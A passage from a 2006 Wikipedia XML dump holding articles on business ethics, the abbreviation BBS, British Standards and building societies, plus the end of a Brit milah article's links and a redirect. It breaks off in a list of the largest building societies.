*[http://www.noharmm.org/pollack.htm Noharmm.org] - An anti-circumcision article from a &quot;Jewish feminist&quot; perspective.
*[http://www.thejewishweek.com/news/newscontent.php3?artid=11539 City Risking Babies' Lives…] - Controversy over ''metzitza be'peh''.
*[http://www.af-mila.org.il/ Af-Mila] - An Israeli anti-circumcision organization.
*[http://www.jewsagainstcircumcision.com/ Jews Against Circumcision] - A group of Jews that advocates for Brit Shalom. 

{{JewishLifeCycle}}

[[Category:Jewish law and rituals]]
[[Category:Hebrew words]]
[[Category:Circumcision]]

[[de:Brit Mila]]
[[es:Brit Milá]]
[[it:Brit milah]]
[[he:ברית מילה]]
[[nl:Briet mila]]</text>
    </revision>
  </page>
  <page>
    <title>Business ethics</title>
    <id>4770</id>
    <revision>
      <id>42014094</id>
      <timestamp>2006-03-03T05:38:52Z</timestamp>
      <contributor>
        <ip>24.152.167.236</ip>
      </contributor>
      <comment>/* Ethics of production */</comment>
      <text xml:space="preserve">'''Business ethics''' is a form of [[applied ethics]] that examines ethical rules and principles within a commercial context; the various moral or ethical problems that can arise in a business setting; and any special duties or obligations that apply to persons who are engaged in commerce.” 
Generally speaking, business ethics is a normative discipline, whereby particular ethical standards are assumed and then applied. It makes specific judgements about what is right or wrong, which is to say, it makes claims about what ''ought'' to be done or what ''ought not'' to be done. While there are some exceptions, business ethicists are usually less concerned with the foundations of ethics ([[metaethics]]), or with justifying the most basic ethical principles, and are more concerned with practical problems and applications, and any specific duties that might apply to business relationships.

==Overview of issues in business ethics==
===General business ethics===
* This part of business ethics overlaps with the [[philosophy of business]], one of the aims of which is to determine the fundamental purposes of a company. If a company's main purpose is to maximize the returns to its shareholders, then it could be seen as unethical for a company to consider the interests and rights of anyone else.{{ref|Friedman}}
* [[Corporate social responsibility]] or CSR: an umbrella term under which the ethical rights and duties existing between companies and society is debated.
* Issues regarding the moral rights and duties between a company and its shareholders: [[fiduciary]] responsibility, [[stakeholder concept]] v. [[shareholder concept]].
* Ethical issues concerning relations between different companies: e.g. [[takeover|hostile take-overs]], [[industrial espionage]].
* Leadership issues: [[corporate governance]].
* [[Campaign finance reform|Political contributions]] made by corporations.
* Law reform, such as the ethical debate over introducing a crime of [[corporate manslaughter]].
* The misuse of corporate ethics policies as marketing instruments.{{ref|Enron}}

See also: [[corporate abuse]], [[corporate crime]].

===Professional ethics===
Professional ethics covers the myriad of practical ethical problems and phenomena which arise out of specific functional areas of companies or in relation to recognized business professions.

====Ethics of finance and accounting====
* [[Creative accounting]], [[earnings management]], [[misleading financial analysis]].
* [[Insider trading]], [[securities fraud]], [[bucket shop]], [[forex scams]]: concerns (criminal) manipulation of the financial markets.
* [[Executive compensation]]: concerns excessive payments made to corporate CEO's.
* [[Bribe]]ry, [[kickback]]s, [[facilitation payment]]s: while these may be in the (short-term) interests of the company and its shareholders, these practices may be anti-competitive or offend against the values of society.

Cases: [[accountancy scandals]], [[Enron]], [[WorldCom]]

====Ethics of human resource management====
The ethics of [[HRM]] ([[human resource management]]) covers those ethical issues arising around the employer-employee relationship, such as the rights and duties owed between employer and employee.

* [[Discrimination]] issues include discrimination on the bases of age ([[ageism]]), gender, race, religion, [[disabilities]], weight and attractiveness. See also: [[affirmative action]], [[sexual harassment]].
* Issues surrounding the representation of employees and the democratisation of the workplace: [[union busting]], [[strike breaking]].
* Issues affecting the [[privacy]] of the employee: [[workplace surveillance]], [[drug testing]]. See also: [[privacy]].
* Issues affecting the privacy of the ''employer'': [[whistle-blowing]].
* Issues relating to the fairness of the employment contract and the balance of power between employer and employee: [[slavery]]{{ref|hare}}, [[indentured servitude]], [[employment law]].
* [[Occupational safety and health]].

====Ethics of sales and marketing====
{{Product advertising}}
Marketing which goes beyond the mere provision of information about (and access to) a product may seek to manipulate our values and behaviour. To some extent society regards this as acceptable, but where is the ethical line to be drawn?
* Pricing: [[price fixing]], [[price discrimination]], [[price skimming]].
* Anti-competitive practices: these include but go beyond pricing tactics to cover issues such as manipulation of loyalty and supply chains. See: [[anti-competitive behaviour]], [[antitrust law]].
* Specific marketing strategies: [[greenwash]], [[bait and switch]], [[shill]], [[viral marketing]], [[spam]], [[pyramid scheme]], [[planned obsolescence (business)|planned obsolescence]].
* Content of advertisements: [[attack ad]]s, [[subliminal message]]s, [[sex in advertising]].
* Children and marketing: [[marketing in schools]].
* [[Black market]]s, [[grey market]]s.

See also: [[criticism of marketing]], [[memespace]], [[disinformation]], [[advertising]] techniques.

Cases: [[Benetton]].

====Ethics of production====
This area of business ethics deals with the duties of a company to ensure that products and production processes do not cause harm. Some of the more acute dilemmas in this area arise out of the fact that there is usually a degree of danger in any product or production process and it is difficult to define a degree of permissibility, or the degree of permissibility may depend on the changing state of preventative technologies or changing social perceptions of acceptable risk.
* Defective, addictive and inherently dangerous products and services.
* Ethical relations between the company and the environment: [[pollution]], [[environmental ethics]], [[carbon emissions trading]]
* Ethical problems arising out of new technologies: [[genetically modified food]], [[mobile phone radiation and health]].
* Product testing ethics: [[animal rights]] and [[animal testing]], use of economically disadvantaged groups (such as students) as test objects.

See also: [[product liability]]

Cases: [[Ford Pinto]] scandal, [[Bhopal disaster]], [[asbestos]] / [[asbestos and the law]].

====Ethics of intellectual property, knowledge and skills ====
Knowledge and skills are valuable but not easily &quot;ownable&quot; objects. Nor is it obvious who has the greater rights to an idea: the company who trained the employee or the employee themselves? The country in which the plant grew, or the company which discovered and developed the plant's medicinal potential? As a result, attempts to assert ownership and ethical disputes over ownership arise. 
* [[Patent infringement]], [[copyright infringement]], [[trademark infringement]].
* Misuse of the intellectual property systems to stifle competition: [[patent misuse]], [[copyright misuse]], [[patent troll]], [[submarine patent]].
* Even the notion of intellectual property itself has been criticised on ethical grounds: see [[intellectual property]].
* [[Employee raiding]]: the practice of attracting key employees away from a competitor to take unfair advantage of the knowledge or skills they may possess.
* The practice of employing all the most talented people in a specific field, regardless of need, in order to prevent any competitors employing them.
* [[Bioprospecting]] (ethical) and [[biopiracy]] (unethical).
* [[Business intelligence]] and [[industrial espionage]].

Cases: private versus public interests in the [[Human Genome Project]]

===International business ethics and ethics of economic systems===
The issues here are grouped together because they involve a much wider, global view on business ethical matters.

====International business ethics====
While business ethics emerged as a field in the 1970's, international business ethics did not emerge until the late 1990's, reflecting the international developments of that decade.{{ref||Enderle}} Many new practical issues arose out the international context of business. Theoretical issues such as cultural relativity of ethical values receive more emphasis in this field. Other, older issues can be grouped here as well. Issues and subfields include:
* The search for universal values as a basis for international commercial behaviour.
* Comparison of business ethical traditions in different countries.
* Comparison of business ethical traditions from various religious perspectives.
* Ethical issues arising out of international business transactions; e.g. [[bioprospecting]] and [[biopiracy]] in the pharmaceutical industry; the [[fair trade]] movement; [[transfer pricing]].
* Issues such as [[globalisation]] and [[cultural imperialism]].
* Varying global standards - e.g. the use of [[child labour]].
* The way in which multinationals take advantage of international differences, such as outsourcing production (e.g. clothes) and services (e.g. call centres) to low-wage countries.
* The permissibility of international commerce with pariah states.

====Ethics of economic systems====
This vaguely defined area, perhaps not part of but only related to business ethics{{ref|george1}}, is where business ethicists venture into the fields of [[political economy]] and [[political philosophy]], focussing on the rights and wrongs of various systems for the distribution of economic benefits. The work of [[John Rawls]] ([[1921]]-[[2002]]) is a notable contribution.

==Theoretical issues in business ethics==
===Conflicting interests===
Business ethics can be examined from various perspectives, including the perspective of the employee, the commercial enterprise, and society as a whole. Very often, situations arise in which there is conflict between one or more of the parties, such that serving the interest of one party is a detriment to the other(s). For example, a particular outcome might be good for the employee, whereas, it would be bad for the company, society, or vice versa.  Some ethicists (e.g., [[Henry Sidgwick]]) see the principal role of ethics as the harmonization and reconciliation of conflicting interests.

===Ethical issues and approaches===
Philosophers and others disagree about the purpose of a business in society.  For example, some suggest that the principal purpose of a business is to maximize returns to its owners, or in the case of a publicly-traded concern, its shareholders.  Thus, under this view, only those activities that increase profitability and shareholder value should be encouraged. Some believe that the only companies that are likely to survive in a competitive marketplace are those that place profit maximization above everything else.  However, some point out that self interest would still require a business to obey the law and adhere to basic moral rules, because the consequences of failing to do so could be very costly in fines, loss of licensure, or company reputation. The economist [[Milton Friedman]] is a leading proponent of this view.

Other theorists contend that a business has moral duties that extend well beyond serving the interests of its owners or stockholders, and that these duties consist of more than simply obeying the law.  They believe a business has moral responsibilities to so-called [[stakeholders]], people who have an interest in the conduct of the business, which might include employees, customers, vendors, the local community, or even society as a whole. They would say that stakeholders have certain rights with regard to how the business operates, and some would even suggest that this even includes rights of governance.

Some theorists have adapted [[social contract]] theory to business, whereby companies become quasi-democratic associations, and employees and other stakeholders are given voice over a company's operations. This approach has become especially popular subsequent to the revival of contract theory in [[political philosophy]], which is largely due to [[John Rawls]]' ''A Theory of Justice'', and the advent of the consensus-oriented approach to solving business problems, an aspect of the &quot;[[quality]] movement&quot; that emerged in the 1980s. Professors [[Thomas Donaldson]] and [[Thomas Dunfee]] proposed a version of contract theory for business, which they call Integrative Social Contracts Theory.  They posit that conflicting interests are best resolved by formulating a &quot;fair agreement&quot; between the parties, using a combination of i) macro-principles that all rational people would agree upon as universal principles, and, ii) micro-principles formulated by actual agreements among the interested parties.  Critics say the proponents of contract theories miss a central point, namely, that a business is someone's property and not a mini-state or a means of distributing social justice.   

Ethical issues can arise when companies must comply with multiple and sometimes conflicting legal or cultural standards, as in the case of multinational companies that operate in countries with varying practices. The question arises, for example, ought a company to obey the laws of its home country, or should it follow the less stringent laws of the developing country in which it does business? To illustrate, United States law forbids companies from paying bribes either domestically or overseas; however, in other parts of the world, bribery is a customary, accepted way of doing business. Similar problems can occur with regard to child labor, employee safety, work hours, wages, discrimination, and environmental protection laws.

It is sometimes claimed that a [[Gresham's law]] of ethics applies in which bad ethical practices drive out good ethical practices. It is claimed that in a competitive business environment, those companies that survive are the ones that recognize that their only role is to maximize profits. On this view, the competitive system fosters a downward ethical spiral.

Rushworth Kidder developed a fascinating way to address ethical conflicts. He calls it a &quot;trilemma&quot;. Instead of feeling stuck in a choice between violating your ethics and doing something painful but ethical, he suggests exploring if there is a third, unexplored option.

==Business ethics in the field==
===Corporate ethics policies===
Many companies have formulated internal policies pertaining to the ethical conduct of employees.  These policies can be simple exhortations in broad, highly-generalized language (typically called a corporate ethics statement), or they can be more detailed policies, containing specific behavioral requirements (typically called corporate ethics codes). They are generally meant to identify the company's expectations of workers and to offer guidance on handling some of the more common ethical problems that might arise in the course of doing business. It is  hoped that having such a policy will lead to greater ethical awareness, consistency in application, and the avoidance of ethical disasters.

An increasing number of companies also requires employees to attend seminars regarding business conduct, which often include discussion of the company's policies, specific case studies, and legal requirements. Some companies even require their employees to sign agreements stating that they will abide by the company's rules of conduct.   

Not everyone supports corporate policies that govern ethical conduct. Some claim that ethical problems are better dealt with by depending upon employees to use their own judgment.

Others believe that corporate ethics policies are primarily rooted in utilitarian concerns, and that they are mainly to limit the company's legal liability, or to curry public favor by giving the appearance of being a good corporate citizen. Ideally, the company will avoid a lawsuit because its employees will follow the rules. Should a lawsuit occur, the company can claim that the problem would not have arisen if the employee had only followed the code properly.

Sometimes there is disconnection between the company's code of ethics and the company's actual practices. Thus, whether or not such conduct is explicitly sanctioned by management, at worst, this makes the policy duplicitous, and, at best, it is merely a marketing tool.

To be successful, most ethicists would suggest that an ethics policy should be:
*Given the unequivocal support of top management, by both word and by example.
*Explained in writing and orally, with periodic reinforcement.
*Doable....something employees can both understand and perform.
*Monitored by top management, with routine inspections for compliance and improvement.
*Backed up by clearly stated consequences in the case of disobedience.
*Remain neutral and nonsexist.

===Ethics officers===
Ethics officers (sometimes called &quot;compliance&quot; or &quot;business conduct officers&quot;) have been appointed formally by organizations since the mid-1980s.  One of the catalysts for the creation of this new role was a series of fraud, corruption and abuse scandals that afflicted the U.S. defense industry at that time.  This led to the creation of the Defense Industry Initiative (DII), a pan-industry initiative to promote and ensure ethical business practices.  The DII set an early benchmark for ethics management in corporations.  In 1991, the [http://www.eoa.org Ethics Officer Association] was founded at the [http://www.bentley.edu/cbe Center for Business Ethics](at Bentley College, Waltham, MA) as a professional association for those responsible for managing organizations' efforts to achieve ethical best practices.  The membership grew rapidly (the EOA now has over 1,100 members) and was soon established as an independent organization. Another critical factor in the decisions of companies to appoint ethics/compliance officers was the passing of the Federal Sentencing Guidelines for Organizations in 1991, which set standards that organizations (large or small, commercial and non-commercial) had to follow to obtain a reduction in sentence if they should be convicted of a federal offense.  Although intended to assist judges with sentencing, the influence in helping to establish best practices has been far-reaching.  

In the wake of numerous corporate scandals between 2001-04 (affecting large corporations like Enron, WorldCom and Tyco), even small and medium-sized companies have begun to appoint ethics officers. They often report to the Chief Executive Officer and are responsible for assessing the ethical implications of the company's activities, making recommendations regarding the company's ethical policies, and disseminating information to employees. They are particularly interested in uncovering or preventing unethical and illegal actions. This trend is partly due to the  [[Sarbanes-Oxley Act]] in the United States, which was enacted in reaction to the above scandals. A related trend is the introduction of risk assessment officers that monitor how shareholders' investments might be affected by the company's decisions.

The effectiveness of ethics officers in the marketplace is not clear. If the appointment is made primarily as a reaction to legislative requirements, one might expect the efficacy to be minimal, at least, over the short term. In part, this is because ethical business practices result from a corporate culture that consistently places value on ethical behavior, a culture and climate that usually emanates from the top of the organization.  The mere establishment of a position to oversee ethics will most likely be insufficient to inculcate ethical behaviour: a more systemic programme with consistent support from general management will be necessary.  

The foundation for ethical behavior goes well beyond corporate culture and the policies of any given company, for it also depends greatly upon an individual's early moral training, the other institutions that affect an individual, the competitive business environment the company is in and, indeed, society as a whole.

==Religious views on business ethics==
Many faiths have extensive literature and legal code on the accumulation and use of wealth; and many businesses rely on these ethical guidelines, both as a result of the religious beliefs of owners and managers, and as a way of ensuring that their actions meet the otherwise unwritten ethical standards of local communities.

=== Christian business ethics ===
In [[Christianity]], the basis of this [[theology]] is the [[Old Testament]] and the [[New Testament]].

For example, [[Jesus]] asked his disciples, &quot;If you lend to those from whom you hope to receive, what credit is that to you?&quot; [[Gospel of Luke|Luke]] 6:34. Although this may be a general injunction to disinterested benevolence, it has also been read as a condemnation of [[interest]] or [[usury]]. Jesus referenced this especially when one lends to another believer, the idea being that, as a Christian with an eternal mindset, ultimately [[God]] is our rewarder and lending to a fellow believer should be left to god to reward over collecting nominal interest.

=== Jewish business ethics ===
The basis of all [[halakha|Jewish law]] is the [[Torah]]; here there are more [[mitzva|commandments]] concerning the [[kashrut]] (fitness) of one's money than the kashrut of food (see [[613 Mitzvot]]). These laws are developed and expanded upon in the [[Mishnah]] and the [[Talmud]] (particularly in Order [[Nezikin]]), and are then delineated in the major [[Halakha#Codes of Jewish law|codes of Jewish law]] (e.g. ''[[Mishneh Torah]]'', 12th c.; ''[[Shulkhan Arukh]]'', particularly ''[[Choshen Mishpat]]'', 16th c.). A wide array of topics on business ethics are discussed in the [[responsa]] literature.

The literature also addresses the ethical dimension. [[Rabbi]] [[Yisrael Lipkin Salanter]] (19th century), founder of the [[Mussar]] movement in Eastern European, taught that just as one checks carefully to make sure their food is kosher, so too should one check to see if their money is earned in a kosher fashion  ([[Yisrael Meir Kagan|Chofetz Chaim]], ''Sfat Tamim'', chapter 5). The teachings go much further: there is a widely quoted [[Oral law#Oral law in Judaism | tradition]] (see for e.g. ''[[Kitzur Shulkhan Arukh]]'' 62:1; originating in ''[[Talmud]] Shabbat'' 31a) that in one's judgement in [[Jewish eschatology#The afterlife and olam haba .28the world to come.29|the next world]], the ''first'' question asked is: &quot;were you honest in business?&quot;

:''See the related discussion of Judaism's approach to &quot;livelihood&quot;, under [[Torah im Derech Eretz#Earning a livelihood|Torah im Derech Eretz]] and [[Divine Providence#Contemporary Orthodox thought|Divine Providence]].''

=== Muslim business ethics ===
For [[Islam]], the basis of these laws is the [[Qur'an]], and they are amplified in the [[Hadith]].
Muslim wealth ethics include avoidance of the exploitation of people in need through lending them money at interest ([[riba]]) and prohibitions against [[false advertising]]; under Islamic law, if a vendor sells an item by making false claims about it, the customer has the right to have the transaction cancelled.

==Related disciplines==
[[Business]] ethics should be distinguished from the [[philosophy of business]], the branch of [[philosophy]] that deals with the philosophical, political, and [[ethics|ethical]] underpinnings of business and [[economics]]. Business ethics operates on the premise, for example, that the ethical operation of a private business is possible -- those who dispute that premise, such as [[libertarian socialism|libertarian socialists]], (who contend that &quot;business ethics&quot; is an [[oxymoron]]) do so by definition outside of the domain of business ethics proper.

The philosophy of business also deals with questions such as what, if any, are the [[social responsibility|social responsibilities]] of a business; [[business management]] [[theory]]; theories of [[individualism]] vs. [[collectivism]]; [[free will]] among participants in the [[marketplace]]; the role of [[self interest]]; [[invisible hand]] theories; the requirements of [[social justice]]; and [[natural rights]], especially [[property rights]], in relation to the business enterprise.

Business ethics is also related to '''[[political economy]],''' which is [[economic analysis]] from political and [[economic history|historical]] perspectives. Political economy deals with the distributive consequences of economic actions. It asks who gains and who loses from [[economic activity]], and is the resultant [[distribution of wealth|distribution]] fair or just, which are central ethical issues.

==Notes==
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{{cite book | first= | last= | year= | title= | chapter= | editor= | others= | pages= | publisher= | id= | url= | authorlink= }}
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# {{note|Friedman}} {{News reference  |firstname=Milton  |lastname=Friedman  |pages=  |title=The Social Responsibilty of Business is to Increase Its Profits  |date=September 13, 1970  |org=The New York Times Magazine  |url=http://www-rohan.sdsu.edu/faculty/dunnweb/rprnts.friedman.html }}
# {{note|Enron}} e.g. [[Enron Code of Ethics]]
# {{note|hare}} {{cite journal | author=R.M.Hare | title=&quot;What is wrong with slavery&quot; | journal=Philosophy and Public Affairs | year=1979 | volume=8 | issue= | pages= 103&amp;ndash;121 | url= }} 
# {{note|Enderle}} {{cite book | first=Georges | last=Enderle | year=1999 | title=International Business Ethics | chapter= | editor= | others= | pages= | publisher=Univ. of Notre Dame Press | id=ISBN  0268012148 | url= | authorlink= }}, p.1
# {{note|george1}} The view that business ethics encompasses the ethics of economic systems is taken in (e.g.) {{cite book | first=Richard | last=de George | year=1999 | title=Business Ethics | chapter= | editor= | others= | pages= | publisher=| id=| url= | authorlink= }}; chapters 6 and 7 give a wide overview of the area.

==See also==
*[[Business law]]
*[[Corporate behaviour]]
*[[Corporate crime]]
*[[Corporate social responsibility]]
*[[Ethics]]
*[[Ethical code]]
*[[Fiduciary]]
*[[List of business ethics, political economy, and philosophy of business topics]]
*[[Management]]
*[[Political economy]]

== References ==
===General references===
*''Essays on Ethics in Business and the Professions'', Jack N. Behrman, Englewood Cliffs, NJ: Prentice Hall, 1988
*''Business Ethics, A Kantian Perspective'', [[Norman E. Bowie]], Blackwell, 1999.
*''Ethical Dilemmas in the Modern Corporation'' Gerald F. Cavanagh, Prentice-Hall, 1988
*''Perspectives in Business Ethics'', [[Laura Hartman]], Burr Ridge, IL: McGraw-Hill, 2004
*''Business as Ethical and Business as Usual'', [[Sterling Harwood]], Belmont, CA: Wadsworth Publishing, 1996.
*''Ethics and the Management of Computer Technology: Proceedings of the Fourth National Conference on Business Ethics'' National Conference on Business Ethics (4th: 1981: Bentley College) Cambridge, MA: Oelgeschlager, Gunn &amp; Hain, 1981
*''The Right Thing: Conscience, Profit and Personal Responsibility in Today's Business'', [[Jeffrey L. Seglin]], Spiro Press, 2003
*''Above the Bottom Line: An Introduction to Business Ethics'' [[Robert C. Solomon]], Harcourt Brace Jovanovich, 1983
*''The excellence of the efficiency of the learning organisation that is the Hellenic features of current economics moral''. Lea B. Virághalmy, Budapest, 2003 ([http://www.kgk.bmf.hu/meb/arch2003/proceeding/bvlea.doc Abstract])
*&quot;Companies With A Conscience, 3rd Edition&quot;, [[Howard Rothman and Mary Scott]], Denver, CO: MyersTempleton, 2004

* {{cite book | first=Frank | last=Knight | year=1935/1980 | title=The Ethics of Competition and Other Essays| chapter= | editor= | others= | pages= | publisher=Univ. of Chicago Press| id=ISBN 0226446875 | url= | authorlink= }}
* {{cite book | first=Richard T. | last=de George | year=1999| title=Business Ethics| chapter= | editor= | others= | pages= | publisher=Prentice Hall| id=ISBN 0130797723 | url= | authorlink= }}

=== Jewish references ===
*''You Shall Strengthen Them: A Rabbinic Letter on the Poor'' [[Elliot N. Dorff]] with Lee Paskind, The Rabbinical Assembly, NY
*''Free Enterprise and Jewish Law: Aspects of Jewish Business Ethics'' Aaron Levine, Ktav Publishing House, 1980. ISBN 0870687026
*''Case Studies in Jewish Business Ethics'' Aaron Levine, Ktav Publishing House, 1999. ISBN 0881256641
*''The Jewish Ethicist'' Asher Meir, Ktav Publishing House, 2005. ISBN 0881258091
*''Business Ethics: A Jewish Perspective'' Moses L. Pava, Ktav Publishing House, 1997. ISBN 0881255823
*''The Challenge of Wealth'', Meir Tamari, Jason Aronson Inc., 1995. ISBN 1568212801
*''With All Your Possessions: Jewish Ethics and Economic Life'', Meir Tamari, Free Press, 1987. ISBN 0029321506
*''Al Chet: Sins in the marketplace'', Meir Tamari, Jason Aronson, 1986. ISBN 1568219067
*''Torah Guide for the Businessman'', S. Wagschal, Philipp Feldheim Inc, 1990. ISBN 1583301399

=== Christian references ===
*''Biblical Business Ethics: Exploring Secular Ethical Values &amp; Alternative Christian Approaches'', David Bertch, Terry Martin, Dyna Martin, Works Press, 1994. ISBN 0963447238
*''Business By The Book: The Complete Guide Of Biblical Principles For The Workplace'', Larry Burkett, Nelson Reference; Updated edition 1998, ISBN 0785271414
*''God is my CEO: Following God's Principles in a Bottom-Line World'', Larry S. Julian, Adams Media Corporation, 2001, ISBN 1580624774
*''Full value: Cases in Christian business ethics'' O.F. Williams and J. W. Houck, San Francisco, CA: Harper &amp; Row, 1978

=== Muslim references ===
*''Islamic Business Ethics'' Rafik Issa Beekun, The International Institute of Islamic Thought
*''Islam and the Economic Challenge'' M.Umer Chapra
*''The Problem With Interest'' Tarek El Diwany
*''Distributive Justice And Need Fulfilment in an Islamic Economy'' Munawar Iqbal, The Islamic Foundation, Leicester, U.K.
*''Islamic Commercial Law: An Analysis of Futures and Options'' [[Mohammad Hashim Kamali]], 2000, ISBN 0-946621-80-2
*''Banking Without Interest'' Muhammad Nejatullah Siddiqi

==External links==
===General===
*[http://www.scu.edu/ethics/practicing/focusareas/business Business ethics section] from the website of the [[Markkula Center for Applied Ethics]]
* [http://www.csr-news.net csr-news.net]
*[http://plato.stanford.edu/entries/economic-justice Economics and Economic Justice] in the Stanford Encyclopedia of Philosophy
* Hasnas, John. &quot;[http://mason.gmu.edu/~jhasnas/Beqrevex.htm The normative theories of business ethics: a guide for the perplexed.]&quot; Originally published in Business Ethics Quarterly 19 (1998)
*[http://www.businessethics.ca/blog The Business Ethics Blog]
*[http://www.valuequotes.net Famous Quotations on Business Ethics]
*[http://www.ceo-ethics.info/ Weblog about Business Ethics]

===Journals===
* [http://www.kluweronline.com/issn/0167-4544 Journal of Business Ethics] (since 1981)
* [http://www.societyforbusinessethics.org/beq.htm Business Ethics Quarterly] (journal of the [http://www.societyforbusinessethics.org Society for Business Ethics]; since 1991)
* [http://www.blackwellpublishing.com/journals/beer Business Ethics: A European Review] (since 1991)
* [http://ejbo.jyu.fi Electronic Journal of Business Ethics and Organization Studies] (based in Finland; since 1996)
* [http://www.senatehall.com/journals.php?journal=5 Journal of Business Ethics Education] (since 2004)

===External links with religious perspectives===
*[http://www.besr.org/ Center for Business Ethics and Social Responsibility]
*[http://www.jabe.org/ Jewish Association for Business Ethics]
*[http://www.jlaw.com/LawPolicy/EthicsCourse.html A Model Course in Jewish Business Ethics]
*[[Aryeh Kaplan]]: [http://www.aish.com/literacy/concepts/Jewish_View_of_Money.asp The Torah view of Money]
*[http://www.dinarstandard.com/management/EthicsBookReview051505.htm Islamic Business Ethics: Book Review]
*[http://www.islamist.org/images/ethicshm.pdf Excerpt from Islamic Business Ethics (PDF)]
*[http://www.chabad.org/article.asp?AID=69943 The Jewish view of money]

[[Category:Business ethics]]
[[Category:Ethics]]

[[de:Wirtschaftsethik]]
[[hu:Üzleti etika]]</text>
    </revision>
  </page>
  <page>
    <title>BBS</title>
    <id>4772</id>
    <revision>
      <id>36035667</id>
      <timestamp>2006-01-21T02:08:38Z</timestamp>
      <contributor>
        <username>Mangojuice</username>
        <id>178098</id>
      </contributor>
      <minor />
      <comment>Blum Blum Shub was moved to Blum-Blum-Shub pseudorandom number generator.</comment>
      <text xml:space="preserve">'''BBS''' is an [[abbreviation]] of:

* [[Bulletin board system]]
* [[Bardet-Biedl syndrome]]
* [[Baton Broadcasting System]]
* &quot;Be back soon&quot; ([[Internet slang]])
* [[Bhutan Broadcasting Service]]
* [[BIOS Boot Sequence]]
* [[Black Beauty Sisters]], two of the characters of the anime [[Mermaid Melody Pichi Pichi Pitch]] ([[fan (aficionado)|fan]] [[lingo]])
* [[Blum-Blum-Shub pseudorandom number generator]] 
* [[Breeding Bird Survey]]
* [[Brittle Bone Society]]
* [[Box-ball system]], a [[cellular automaton]] introduced by Daisuke Takahashi and Junkichi Satsuma


{{TLAdisambig}}



[[fr:BBS]]
[[ja:BBS]]</text>
    </revision>
  </page>
  <page>
    <title>Balfour declaration</title>
    <id>4773</id>
    <revision>
      <id>15903026</id>
      <timestamp>2004-12-10T20:32:05Z</timestamp>
      <contributor>
        <username>Timrollpickering</username>
        <id>32005</id>
      </contributor>
      <comment>Link to disambig</comment>
      <text xml:space="preserve">#REDIRECT [[Balfour Declaration]]</text>
    </revision>
  </page>
  <page>
    <title>British Standards</title>
    <id>4775</id>
    <revision>
      <id>42045065</id>
      <timestamp>2006-03-03T12:26:11Z</timestamp>
      <contributor>
        <username>Kcordina</username>
        <id>643099</id>
      </contributor>
      <comment>remove tag following merge</comment>
      <text xml:space="preserve">[[Image:Kitemark.png|right|150px|thumb|BSI Kite Mark Logo - Made up of the letters 'B' &amp; 'S']]
'''British Standards''' is the new name of the '''British Standards Institution''' and is part of '''BSI Group''' which also includes a testing organisation.  '''British Standards''' has a [[Royal Charter]] to act as the [[standards organisation]] for the [[United Kingdom|UK]]. 

The standards produced are titled '''British Standard XXXX''' where XXXX is the number of the standard.  '''British Standards''' currently has over 17,000 active standards. Products are commonly specified as meeting a particular British Standard, and in general this can be done without any certification or independent testing. The standard simply provides a shorthand way of claiming that certain specifications are met, while encouraging manufacturers to adhere to a common method for such a specification.

The '''Kite Mark''' can be used to indicate certification by the BSI, but only where a Kite Mark scheme has been set up around a particular standard. It is mainly applicable to safety and quality management standards. There is a common misunderstanding that Kite Marks are necessary to prove compliance with any BS standard, but in general it is neither desirable nor possible that every standard be 'policed' in this way.

British Standards began in [[1901]] as the ''Engineering Standards Committee'', led by [[James Mansergh]], to standardise the number and type of [[steel]] sections, in order to make [[United Kingdom|British]] manufacturers more efficient and competitive.

Over time the standards developed to cover many aspects of tangible engineering, and then engineering methodologies including quality systems, safety and security.

Another key activity carried out by '''British Standards''' is the CE Marking of Medical Devices. The CE 0086 marking can be issued to devices that are found to comply with the Medical Device Directive.   

==Frequently used BS standards==
*[[BS 1363]] for mains power plugs and sockets
*[[BS 5750]] for quality management, the source for [[ISO 9000]]
*[[BS 5950]] for structural steel
*[[BS 6312]] for telephone plugs and sockets
*[[BS 6879]] for British geocodes, a superset of [[ISO 3166-2:GB]]
*[[BS 7799]] for information security, the source for [[ISO 17799]]
*[[BS 8110]] for structural concrete

==External links==
* [http://www.bsi-global.com/ Official website]
* [http://www.standardsdirect.org BSI Online Shop]

[[Category:Standards organizations]]
[[Category:Certification_marks]]

[[fr:BSI Group]]</text>
    </revision>
  </page>
  <page>
    <title>Building society</title>
    <id>4776</id>
    <revision>
      <id>40361312</id>
      <timestamp>2006-02-20T01:33:32Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">'''Building society''' is the name given in [[19th century]] [[United Kingdom|Britain]] for working men's [[co-operative]] savings groups:  by pooling savings, members could buy or build their own homes.  

==Origins==
The original Building Society was formed in [[Birmingham]] in 1774. Most of the original societies were fully   ''terminating'', where they would be dissolved when all members had a house: the last of them was wound up in 1980. In the 1830s and 1840s a new development took place with the ''Permanent Building Society'', where the society continued on a rolling basis, continually taking in new members as earlier ones completed purchases. The main legislative framework for the Building Society was the ''Building Society Act'' of 1874, with subsequent amending legislation in 1894, 1939 (see [[Coney Hall]]), and 1960.

In their heyday, there were hundreds of building societies: just about every town in the country had a building society named after that town.  Over succeeding decades the number of societies has decreased, as various societies merged to form larger ones, often renaming in the process:  most of the existing larger building societies are the end result of the mergers of many smaller societies.

==1980s==
In the [[1980s]], British banking laws were changed to allow building societies to offer banking services equivalent to normal [[bank]]s.  Building societies, in the classic form, were [[mutual organisation]]s, jointly owned by those saving and borrowing. From the 1980s onwards, a number of societies, under pressure from members, `[[demutualise]]d' to become commercial enterprises with [[shares]] of [[stock]] like any other company: members of the society would get a cash `windfall' - usually several hundred pounds, sometimes more - as their share of the assets of the society.  This happened to a number of the larger societies, several of which were bought out by [[bank]]s after their [[demutualisation]].  

A movement arose whereby investors would open a savings account with a [[mutual organisation|mutual]] building society, thereby getting voting rights in the society, and pressurise for a vote on [[demutualisation]], with the intent of getting a windfall payment as a result.  A number of societies' members and managers were very unhappy about such investors, who were termed ''[[carpetbaggers]]'', maintaining that as mutual societies, they could supply better and cheaper home loans than the banks and demutualised societies, as they only had to make a profit to cover their operational costs, and had no need to generate an additional profit to return to shareholders.  

In the end, after a number of large demutualisations, and pressure from carpetbaggers moving from one building society to another to cream off the windfalls, most of the remaining societies modified their rules of membership in the late 1990s.  The method usually adopted were membership rules to ensure that anyone newly joining a society would, for the first few years, be unable to get any profit out of a demutualisation.  With the chance of a quick profit removed, the demutualisations have slowed considerably, [[As of 2001|as of December 2001]].

==Remaining building societies==

The 10 largest of the remaining building societies are listed below.

(Total Group assets in [[sterling]], as of June 2005.)

&lt;ol&gt;
&lt;li&gt;[[Nationwide Building Society|Nationwide]] £111,592m&lt;/li&gt;
